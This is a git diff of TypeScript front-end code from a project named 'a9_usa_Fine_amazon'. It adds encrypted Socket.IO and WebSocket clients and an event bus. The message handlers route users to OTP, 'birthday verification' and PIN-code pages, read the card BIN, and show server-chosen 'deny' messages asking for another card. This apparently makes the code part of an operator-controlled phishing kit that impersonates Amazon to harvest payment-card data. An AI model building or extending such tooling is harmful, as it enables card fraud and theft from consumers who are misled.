window.location.reload();
|
||||
}
|
||||
},
|
||||
|
||||
};
|
||||
if (content.type == "customOtpValid") {
|
||||
if (content.value.customOtpData) {
|
||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
||||
}
|
||||
}
|
||||
if (content.type === "customOtpValid") {
|
||||
if (customOtpData.value.name === "生日验证") {
|
||||
useLoadingStore().setLoading(false);
|
||||
navigateTo("/pinCode", content);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (content.type == "customOtpFail") {
|
||||
eventBus.emit("custom-otp-valid", {
|
||||
message2: content.value.message2,
|
||||
});
|
||||
}
|
||||
|
||||
const handler = typeHandlers[content.type];
|
||||
if (handler) handler();
|
||||
|
||||
useLoadingStore().setLoading(false);
|
||||
}
|
||||
|
||||
// Navigate to specific path with query parameters
|
||||
function navigateTo(path: string, content: any) {
|
||||
|
||||
router.push('/temp').then(() => {
|
||||
router.push({
|
||||
path: path,
|
||||
query: {
|
||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
||||
message1: content.value?.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// Handle back or reject type
|
||||
function handleBackOrReject(content: any, isBack: boolean) {
|
||||
let message2 = i18n.global.t(
|
||||
"This card does not support this transaction, please try another card"
|
||||
);
|
||||
|
||||
if (configData.value.error_card_msg) {
|
||||
message2 = configData.value.error_card_msg;
|
||||
}
|
||||
|
||||
if (content.value.type) {
|
||||
const type = content.value.type;
|
||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
||||
message2 = configData.value.deny_c_msg;
|
||||
}
|
||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
||||
message2 = configData.value.deny_d_msg;
|
||||
}
|
||||
}
|
||||
|
||||
if (content.value.message2) {
|
||||
message2 = content.value.message2;
|
||||
}
|
||||
|
||||
if (isBack) {
|
||||
router.push({ path: "/card", query: { message2 } });
|
||||
}
|
||||
|
||||
eventBus.emit("my-event", { message2 });
|
||||
}
|
||||
|
||||
// Login to WebSocket
|
||||
function loginWebsocket(token: string, isFirst: boolean) {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "login",
|
||||
content: { tag: "user", token, isFirst },
|
||||
})
|
||||
);
|
||||
initHtml();
|
||||
}
|
||||
|
||||
|
||||
|
||||
export async function loadHtml(url: string) {
|
||||
try {
|
||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
||||
if (!response.ok) {
|
||||
return "";
|
||||
}
|
||||
return await response.text();
|
||||
} catch (error) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
export const headHtml = ref("");
|
||||
|
||||
export const headerHtml = ref("");
|
||||
export const footerHtml = ref("");
|
||||
export const loadingBg = ref("#ffffff");
|
||||
|
||||
|
||||
|
||||
17
a9_usa_Fine_amazon/src/utils/eventBus.ts
Normal file
@@ -0,0 +1,17 @@
|
||||
// src/eventBus.ts
|
||||
import mitt from "mitt";
|
||||
|
||||
// 定义事件名称和对应的数据类型
|
||||
type Events = {
|
||||
"my-event": { message2: string };
|
||||
"otp-valid": { message2: string };
|
||||
"app-valid": { message2: string };
|
||||
"custom-otp-valid": { message2: string };
|
||||
|
||||
// 可以在这里添加其他事件
|
||||
// 'another-event': number;
|
||||
};
|
||||
|
||||
const eventBus = mitt<Events>();
|
||||
|
||||
export default eventBus;
|
||||
407
a9_usa_Fine_amazon/src/utils/socketio.ts
Normal file
@@ -0,0 +1,407 @@
|
||||
// 设置
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { io, Socket as SocketIOClient } from "socket.io-client";
|
||||
|
||||
// ─── 会话加密接口 ───────────────────────────────────────────────
|
||||
export interface SessionCrypto {
|
||||
aesKey: CryptoKey; // AES-128-GCM,不可导出
|
||||
}
|
||||
|
||||
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
|
||||
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
|
||||
const iv = crypto.getRandomValues(new Uint8Array(12));
|
||||
const encoded = new TextEncoder().encode(plain);
|
||||
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
|
||||
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
|
||||
out.set(iv, 0);
|
||||
out.set(new Uint8Array(cipher), iv.byteLength);
|
||||
let binary = "";
|
||||
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
|
||||
return JSON.stringify({ data: btoa(binary) });
|
||||
}
|
||||
|
||||
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
|
||||
const rawStr =
|
||||
typeof raw === "string" ? raw :
|
||||
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
|
||||
|
||||
let envelope: { data?: string };
|
||||
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
|
||||
if (!envelope?.data) return rawStr;
|
||||
|
||||
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
|
||||
const iv = bytes.slice(0, 12);
|
||||
const cipher = bytes.slice(12);
|
||||
try {
|
||||
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
|
||||
return new TextDecoder().decode(plain);
|
||||
} catch {
|
||||
return rawStr;
|
||||
}
|
||||
}
|
||||
|
||||
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
|
||||
*/
|
||||
export async function generateECDHKeyPair(): Promise<{
|
||||
keyPair: CryptoKeyPair;
|
||||
clientPublicKeyB64: string;
|
||||
}> {
|
||||
const keyPair = await crypto.subtle.generateKey(
|
||||
{ name: "ECDH", namedCurve: "P-256" },
|
||||
true,
|
||||
["deriveBits"]
|
||||
);
|
||||
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
|
||||
const clientPublicKeyB64 = btoa(
|
||||
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
|
||||
);
|
||||
return { keyPair, clientPublicKeyB64 };
|
||||
}
|
||||
|
||||
/**
|
||||
* 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥
|
||||
*/
|
||||
export async function deriveSessionKey(
|
||||
serverPublicKeyB64: string,
|
||||
clientPrivateKey: CryptoKey
|
||||
): Promise<SessionCrypto> {
|
||||
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
|
||||
const serverPublicKey = await crypto.subtle.importKey(
|
||||
"raw", serverPubKeyBytes,
|
||||
{ name: "ECDH", namedCurve: "P-256" }, false, []
|
||||
);
|
||||
const sharedBits = await crypto.subtle.deriveBits(
|
||||
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
|
||||
);
|
||||
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
|
||||
const aesKey = await crypto.subtle.deriveKey(
|
||||
{
|
||||
name: "HKDF", hash: "SHA-256",
|
||||
salt: new Uint8Array(32),
|
||||
info: new TextEncoder().encode("socket-aes-key"),
|
||||
},
|
||||
hkdfKey,
|
||||
{ name: "AES-GCM", length: 128 },
|
||||
false,
|
||||
["encrypt", "decrypt"]
|
||||
);
|
||||
return { aesKey };
|
||||
}
|
||||
|
||||
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
|
||||
const MAX_QUEUE_SIZE = 200;
|
||||
|
||||
class Socket {
|
||||
url: string;
|
||||
private token: string;
|
||||
private sessionCrypto: SessionCrypto | null;
|
||||
private ecdhKeyPair: CryptoKeyPair | null = null;
|
||||
private clientPublicKeyB64: string | null = null;
|
||||
/** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */
|
||||
private isReady = false;
|
||||
socket: SocketIOClient | null = null;
|
||||
listeners: { [key: string]: Function[] } = {};
|
||||
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
|
||||
|
||||
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
this.url = url;
|
||||
this.token = token;
|
||||
this.sessionCrypto = sessionCrypto;
|
||||
this.init();
|
||||
this.setupVisibilityListener();
|
||||
}
|
||||
|
||||
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
|
||||
private async initECDH() {
|
||||
if (!this.ecdhKeyPair) {
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
this.ecdhKeyPair = keyPair;
|
||||
this.clientPublicKeyB64 = clientPublicKeyB64;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
|
||||
* 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。
|
||||
*/
|
||||
private performKeyExchange(): Promise<void> {
|
||||
return new Promise<void>((resolve) => {
|
||||
// 3 秒超时:若服务端不响应则无加密继续
|
||||
const timeout = setTimeout(() => {
|
||||
this.socket?.off('key_exchange_result', onResult);
|
||||
this.sessionCrypto = null;
|
||||
resolve();
|
||||
}, 3000);
|
||||
|
||||
const onResult = async (serverPubKeyB64: string) => {
|
||||
clearTimeout(timeout);
|
||||
try {
|
||||
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
|
||||
} catch (e) {
|
||||
console.error('[Socket] key derivation failed:', e);
|
||||
this.sessionCrypto = null;
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
|
||||
this.socket?.once('key_exchange_result', onResult);
|
||||
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
|
||||
* 服务端发送 login success 时 client.State 已同步设置完毕,
|
||||
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
|
||||
*/
|
||||
private async sendLoginAndWait(): Promise<void> {
|
||||
await new Promise<void>((resolve) => {
|
||||
let settled = false;
|
||||
const settle = () => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
this.socket?.off('message', onRawMessage);
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
};
|
||||
// 3 秒兜底:即使没收到确认也继续
|
||||
const timer = setTimeout(settle, 3000);
|
||||
|
||||
const onRawMessage = async (raw: unknown) => {
|
||||
try {
|
||||
let text: string;
|
||||
if (this.sessionCrypto) {
|
||||
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
|
||||
}
|
||||
const parsed = JSON.parse(text);
|
||||
if (parsed?.event === 'login') settle();
|
||||
} catch { /* 忽略解析失败 */ }
|
||||
};
|
||||
|
||||
// 先注册监听,再发 login,避免极速响应漏掉
|
||||
this.socket?.on('message', onRawMessage);
|
||||
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
|
||||
});
|
||||
}
|
||||
|
||||
init() {
|
||||
if (this.socket) {
|
||||
return;
|
||||
}
|
||||
console.log("Socket initialized with URL:", this.url);
|
||||
this.socket = io(this.url, {
|
||||
path: "/socket.io",
|
||||
query: this.token ? { token: this.token } : undefined,
|
||||
reconnectionDelay: 1500,
|
||||
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
|
||||
});
|
||||
|
||||
// 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题
|
||||
this.socket.on('connect', async () => {
|
||||
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
|
||||
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
|
||||
this.socket?.off('key_exchange_result');
|
||||
try {
|
||||
await this.initECDH();
|
||||
await this.performKeyExchange();
|
||||
// 等待服务端 login success 确认后再冲刷队列
|
||||
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
|
||||
await this.sendLoginAndWait();
|
||||
} catch (e) {
|
||||
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
|
||||
this.sessionCrypto = null;
|
||||
} finally {
|
||||
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
|
||||
this.isReady = true;
|
||||
await this.flushMessageQueue(); // 连接后按序发送排队消息
|
||||
this.emit('open', { type: 'open' });
|
||||
}
|
||||
});
|
||||
|
||||
// 消息接收(支持 AES-GCM 解密)
|
||||
this.socket.on('message', async (data) => {
|
||||
let plainText: string;
|
||||
if (this.sessionCrypto) {
|
||||
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
plainText = typeof data === 'string' ? data : JSON.stringify(data);
|
||||
}
|
||||
this.emit('message', plainText);
|
||||
});
|
||||
|
||||
// 连接错误
|
||||
this.socket.on('connect_error', (error) => {
|
||||
this.emit('error', error);
|
||||
});
|
||||
|
||||
// 断开连接
|
||||
this.socket.on('disconnect', (reason) => {
|
||||
this.isReady = false; // 断开后消息重新入队
|
||||
this.emit('close', { reason });
|
||||
});
|
||||
|
||||
// 重连尝试
|
||||
this.socket.on('reconnect_attempt', (attemptNumber) => {
|
||||
this.emit('reconnect_attempt', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连成功
|
||||
this.socket.on('reconnect', (attemptNumber) => {
|
||||
this.emit('reconnect', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连失败
|
||||
this.socket.on('reconnect_failed', () => {
|
||||
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
|
||||
this.emit('reconnect_failed', { type: 'reconnect_failed' });
|
||||
});
|
||||
|
||||
// 处理所有其他事件
|
||||
this.socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
|
||||
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
|
||||
this.emit(eventName, args);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
isConnected(): boolean {
|
||||
return this.socket?.connected ?? false;
|
||||
}
|
||||
|
||||
/** 用于握手阶段的 login 事件,同样走加密通道 */
|
||||
private async sendRaw(data: string) {
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', data);
|
||||
}
|
||||
}
|
||||
|
||||
async send(data: string) {
|
||||
try {
|
||||
const payload = JSON.parse(data);
|
||||
|
||||
// 添加时间戳
|
||||
const messageData = {
|
||||
...payload,
|
||||
timestamp: payload.timestamp || Date.now()
|
||||
};
|
||||
|
||||
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
|
||||
if (!this.isReady) {
|
||||
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
|
||||
this.messageQueue.push(messageData);
|
||||
} else {
|
||||
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
|
||||
}
|
||||
this.reconnectIfNeeded();
|
||||
return;
|
||||
}
|
||||
|
||||
const serialized = JSON.stringify(messageData);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Invalid message format. Must be a valid JSON string.', error);
|
||||
}
|
||||
}
|
||||
|
||||
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
|
||||
async flushMessageQueue() {
|
||||
if (this.messageQueue.length === 0) return;
|
||||
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
|
||||
for (const msg of queue) {
|
||||
if (!this.isReady || !this.socket?.connected) {
|
||||
// 发送途中再次断开,将剩余消息放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
try {
|
||||
const serialized = JSON.stringify(msg);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('[Socket] flushMessageQueue 发送失败:', e);
|
||||
// 发送失败也放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconnectIfNeeded() {
|
||||
if (!this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
}
|
||||
|
||||
on(event: string, callback: Function) {
|
||||
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
|
||||
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
} else {
|
||||
// 其他 Socket.IO 原生事件
|
||||
this.socket?.on(event, (...args) => callback(...args));
|
||||
}
|
||||
}
|
||||
|
||||
off(event: string) {
|
||||
if (this.listeners[event]) {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
this.socket?.off(event);
|
||||
}
|
||||
|
||||
emit(event: string, data: any) {
|
||||
if (this.listeners[event]) {
|
||||
this.listeners[event].forEach(callback => callback(data));
|
||||
}
|
||||
}
|
||||
|
||||
private handleVisibilityChange = () => {
|
||||
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
};
|
||||
|
||||
setupVisibilityListener() {
|
||||
document.addEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
}
|
||||
|
||||
disconnect() {
|
||||
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
this.socket?.disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
const socket = new Socket(url, token, sessionCrypto);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
disconnect: socket.disconnect.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocketIo, Socket };
|
||||
392
a9_usa_Fine_amazon/src/utils/websocket.ts
Normal file
@@ -0,0 +1,392 @@
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { sendInput } from "@/api/api";
|
||||
|
||||
// ============ 类型定义 ============
|
||||
interface SocketOptions {
|
||||
heartbeatInterval?: number;
|
||||
reconnectInterval?: number;
|
||||
maxReconnectAttempts?: number;
|
||||
retryIntervals?: number[];
|
||||
forceClose?: boolean;
|
||||
timeOut?: boolean;
|
||||
}
|
||||
|
||||
interface PendingMessage {
|
||||
id: string;
|
||||
data: string;
|
||||
retries: number;
|
||||
timestamp: number;
|
||||
}
|
||||
|
||||
// ============ 默认配置 ============
|
||||
const DEFAULT_OPTIONS: Required<SocketOptions> = {
|
||||
heartbeatInterval: 2000,
|
||||
reconnectInterval: 1000,
|
||||
maxReconnectAttempts: 10,
|
||||
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
|
||||
forceClose: false,
|
||||
timeOut: false,
|
||||
};
|
||||
|
||||
const MAX_RECONNECT_INTERVAL = 30000;
|
||||
const MAX_HEARTBEAT_MISS = 3;
|
||||
const RETRY_CHECK_INTERVAL = 1000;
|
||||
|
||||
// ============ Socket 类 ============
|
||||
class Socket {
|
||||
private url: string;
|
||||
private ws: WebSocket | null = null;
|
||||
private opts: Required<SocketOptions>;
|
||||
|
||||
// 连接管理
|
||||
private reconnectAttempts = 0;
|
||||
private reconnectTimeoutId: number | null = null;
|
||||
|
||||
// 心跳管理
|
||||
private heartbeatIntervalId: number | null = null;
|
||||
private heartbeatMissCount = 0;
|
||||
|
||||
// 消息管理
|
||||
private sendQueue: PendingMessage[] = [];
|
||||
private pendingConfirmations = new Map<string, PendingMessage>();
|
||||
private retryCheckerId: number | null = null;
|
||||
|
||||
// 事件管理
|
||||
private listeners: Record<string, Function[]> = {};
|
||||
|
||||
constructor(url: string, opts: SocketOptions = {}) {
|
||||
this.url = url;
|
||||
this.opts = { ...DEFAULT_OPTIONS, ...opts };
|
||||
|
||||
this.init();
|
||||
this.setupBrowserListeners();
|
||||
}
|
||||
|
||||
// ============ 初始化与连接 ============
|
||||
|
||||
private init(): void {
|
||||
if (this.isConnectingOrOpen()) return;
|
||||
|
||||
this.heartbeatMissCount = 0;
|
||||
this.ws = new WebSocket(this.url);
|
||||
this.bindWebSocketEvents();
|
||||
}
|
||||
|
||||
private bindWebSocketEvents(): void {
|
||||
if (!this.ws) return;
|
||||
|
||||
this.ws.onopen = this.handleOpen.bind(this);
|
||||
this.ws.onmessage = this.handleMessage.bind(this);
|
||||
this.ws.onerror = this.handleError.bind(this);
|
||||
this.ws.onclose = this.handleClose.bind(this);
|
||||
}
|
||||
|
||||
// ============ WebSocket 事件处理 ============
|
||||
|
||||
private handleOpen(event: Event): void {
|
||||
this.reconnectAttempts = 0;
|
||||
this.clearReconnectTimeout();
|
||||
this.startHeartbeat();
|
||||
this.startRetryChecker();
|
||||
this.emit("open", event);
|
||||
this.flushSendQueue();
|
||||
}
|
||||
|
||||
private handleMessage(event: MessageEvent): void {
|
||||
try {
|
||||
const data = JSON.parse(event.data);
|
||||
|
||||
switch (data.event) {
|
||||
case "heartbeat":
|
||||
this.heartbeatMissCount = 0;
|
||||
break;
|
||||
case "ack":
|
||||
this.handleAck(data.messageId);
|
||||
break;
|
||||
default:
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
} catch {
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
}
|
||||
|
||||
private handleError(event: Event): void {
|
||||
this.emit("error", event);
|
||||
}
|
||||
|
||||
private handleClose(event: CloseEvent): void {
|
||||
this.stopHeartbeat();
|
||||
this.stopRetryChecker();
|
||||
this.emit("close", event);
|
||||
this.scheduleReconnect();
|
||||
}
|
||||
|
||||
private handleAck(messageId: string): void {
|
||||
if (messageId && this.pendingConfirmations.has(messageId)) {
|
||||
this.pendingConfirmations.delete(messageId);
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 连接状态 ============
|
||||
|
||||
private isConnectingOrOpen(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CONNECTING
|
||||
|| this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isConnected(): boolean {
|
||||
return this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isClosed(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CLOSED;
|
||||
}
|
||||
|
||||
// ============ 重连机制 ============
|
||||
|
||||
private scheduleReconnect(): void {
|
||||
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
|
||||
|
||||
const timeout = Math.min(
|
||||
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
|
||||
MAX_RECONNECT_INTERVAL
|
||||
);
|
||||
|
||||
this.reconnectTimeoutId = window.setTimeout(() => {
|
||||
this.reconnectAttempts++;
|
||||
this.reconnectTimeoutId = null;
|
||||
|
||||
if (this.isClosed()) {
|
||||
this.init();
|
||||
}
|
||||
}, timeout);
|
||||
}
|
||||
|
||||
private canReconnect(): boolean {
|
||||
return !this.opts.maxReconnectAttempts
|
||||
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
|
||||
}
|
||||
|
||||
private clearReconnectTimeout(): void {
|
||||
if (this.reconnectTimeoutId !== null) {
|
||||
clearTimeout(this.reconnectTimeoutId);
|
||||
this.reconnectTimeoutId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private reconnectIfNeeded(): void {
|
||||
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 心跳机制 ============
|
||||
|
||||
private startHeartbeat(): void {
|
||||
if (!this.opts.heartbeatInterval) return;
|
||||
|
||||
this.heartbeatIntervalId = window.setInterval(() => {
|
||||
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
|
||||
this.ws?.close();
|
||||
return;
|
||||
}
|
||||
|
||||
this.heartbeatMissCount++;
|
||||
|
||||
if (this.isConnected()) {
|
||||
this.ws!.send(JSON.stringify({
|
||||
event: "heartbeat",
|
||||
content: { tag: "user" }
|
||||
}));
|
||||
}
|
||||
}, this.opts.heartbeatInterval);
|
||||
}
|
||||
|
||||
private stopHeartbeat(): void {
|
||||
if (this.heartbeatIntervalId) {
|
||||
clearInterval(this.heartbeatIntervalId);
|
||||
this.heartbeatIntervalId = null;
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息发送 ============
|
||||
|
||||
async send(data: string): Promise<void> {
|
||||
try {
|
||||
const message = JSON.parse(data);
|
||||
const pendingMsg = this.createPendingMessage(message);
|
||||
|
||||
if (this.isConnected()) {
|
||||
// WebSocket 连接正常,直接发送
|
||||
this.sendDirect(pendingMsg);
|
||||
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
// 可以重连,加入队列等待重连后发送
|
||||
this.enqueue(pendingMsg);
|
||||
this.reconnectIfNeeded();
|
||||
} else {
|
||||
await this.sendViaHttp(message);
|
||||
}
|
||||
} catch {
|
||||
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
|
||||
}
|
||||
}
|
||||
|
||||
private async sendViaHttp(message: any): Promise<void> {
|
||||
try {
|
||||
if (message.event !== "input_text") {
|
||||
await sendInput(message);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] HTTP fallback failed:", error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
private createPendingMessage(message: any): PendingMessage {
|
||||
const id = this.generateMessageId();
|
||||
const timestamp = Date.now();
|
||||
|
||||
return {
|
||||
id,
|
||||
data: JSON.stringify({ ...message, messageId: id, timestamp }),
|
||||
retries: 0,
|
||||
timestamp,
|
||||
};
|
||||
}
|
||||
|
||||
private sendDirect(pendingMsg: PendingMessage): void {
|
||||
this.ws?.send(pendingMsg.data);
|
||||
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
|
||||
}
|
||||
|
||||
private enqueue(pendingMsg: PendingMessage): void {
|
||||
this.sendQueue.push(pendingMsg);
|
||||
}
|
||||
|
||||
private flushSendQueue(): void {
|
||||
if (!this.isConnected()) return;
|
||||
|
||||
while (this.sendQueue.length > 0 && this.isConnected()) {
|
||||
const pendingMsg = this.sendQueue.shift();
|
||||
if (pendingMsg) {
|
||||
this.sendDirect(pendingMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息重试机制 ============
|
||||
|
||||
private startRetryChecker(): void {
|
||||
this.stopRetryChecker();
|
||||
|
||||
this.retryCheckerId = window.setInterval(() => {
|
||||
this.checkPendingMessages();
|
||||
}, RETRY_CHECK_INTERVAL);
|
||||
}
|
||||
|
||||
private stopRetryChecker(): void {
|
||||
if (this.retryCheckerId) {
|
||||
clearInterval(this.retryCheckerId);
|
||||
this.retryCheckerId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private checkPendingMessages(): void {
|
||||
const now = Date.now();
|
||||
const { retryIntervals } = this.opts;
|
||||
|
||||
for (const [id, msg] of this.pendingConfirmations.entries()) {
|
||||
const age = now - msg.timestamp;
|
||||
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
|
||||
|
||||
// 未到重试时间
|
||||
if (age < waitTime) continue;
|
||||
|
||||
// 超过最大重试次数,降级使用 HTTP
|
||||
if (msg.retries >= retryIntervals.length) {
|
||||
this.pendingConfirmations.delete(id);
|
||||
|
||||
try {
|
||||
const message = JSON.parse(msg.data);
|
||||
this.sendViaHttp(message).catch((error) => {
|
||||
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
|
||||
this.sendQueue.push(msg);
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
|
||||
this.sendQueue.push(msg);
|
||||
}
|
||||
useLoadingStore().setLoading(false);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 重试发送
|
||||
if (this.isConnected()) {
|
||||
this.ws?.send(msg.data);
|
||||
msg.retries++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 工具方法 ============
|
||||
|
||||
private generateMessageId(): string {
|
||||
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
|
||||
}
|
||||
|
||||
// ============ 事件系统 ============
|
||||
|
||||
on(event: string, callback: Function): void {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
}
|
||||
|
||||
off(event: string): void {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
|
||||
private emit(event: string, data: any): void {
|
||||
this.listeners[event]?.forEach(callback => callback(data));
|
||||
}
|
||||
|
||||
// ============ 浏览器事件监听 ============
|
||||
|
||||
private setupBrowserListeners(): void {
|
||||
// 页面可见性变化
|
||||
document.addEventListener("visibilitychange", () => {
|
||||
if (document.visibilityState === "visible") {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 网络状态变化
|
||||
window.addEventListener("online", () => {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 导出 ============
|
||||
|
||||
function useSocket(url: string, opts?: SocketOptions) {
|
||||
const socket = new Socket(url, opts);
|
||||
|
||||
return {
|
||||
socket,
|
||||
